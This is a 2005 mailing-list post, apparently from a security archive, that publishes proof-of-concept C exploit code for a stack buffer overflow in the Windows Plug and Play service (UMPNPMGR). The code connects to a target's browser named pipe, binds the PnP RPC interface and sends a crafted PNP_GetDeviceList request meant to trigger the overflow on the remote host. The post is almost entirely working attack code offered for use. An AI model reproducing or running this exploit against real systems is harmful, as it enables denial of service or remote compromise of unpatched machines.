OSEC

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Windows UMPNPMGR wsprintfW Stack Buffer Overflow Vulnerability PoC

ppwd25hotmail.com
Date: Fri Oct 21 2005 - 05:37:45 CDT


#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")

unsigned char szBindString[] =
{
        0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
        0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
        0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,
        0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
        0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};

unsigned char szRequestString[] =
{
0x05,0x00,
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};

int main(int argc, char* argv[])
{
        char szServerName[MAX_PATH];
        char szPipe[MAX_PATH];
        HANDLE hFile;
        NETRESOURCE nr;
        
        if (argc < 2){
                printf("[-] Usage: %s <host>\n", argv[0]);
                return -1;
        }

        if ( strlen(argv[1]) > (MAX_PATH - 50) ) {
                printf("[-] Host name %s is too long !\n");
                return -1;
        }

        printf("[+] Start connect host %s ... \n", argv[1]);
        wsprintf( szServerName, "\\\\%s\\pipe", argv[1] );
        nr.dwType = RESOURCETYPE_ANY;
        nr.lpLocalName = NULL;
        nr.lpRemoteName = szServerName;
        nr.lpProvider = NULL;
        if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {
                printf("[-] Connect to host %s failed !\n", argv[1]);
                return -1;
        }
        
        _snprintf(szPipe, sizeof(szPipe), "\\\\%s\\pipe\\browser", argv[1]);
        hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
                OPEN_EXISTING, 0, NULL);

        if ( hFile == INVALID_HANDLE_VALUE ) {
                printf("[-] Open name pipe %s failed !\n", szPipe);
                return -1;
        }

        unsigned char szOutBuffer[0X1000];
        unsigned long nBytesRead;

        printf("[+] Start bind RPC interface ... \n");
        // bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
        if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),
                szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
                printf("[-] TransactNamedPipe (Binding) failed !\n");
                CloseHandle(hFile);
                return -1;
        }

        // send rpc request to call PNP_GetDeviceList (opnum 10)
        printf("[+] Start send RPC request ... \n");
        if ( ! TransactNamedPipe(hFile, szRequestString, sizeof(szRequestString),
                szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
                printf("[-] TransactNamedPipe (Binding) failed !\n");
                CloseHandle(hFile);
                return -1;
        }
        printf("[+] Attack host %s complete !\n", argv[1]);
        return 0;
}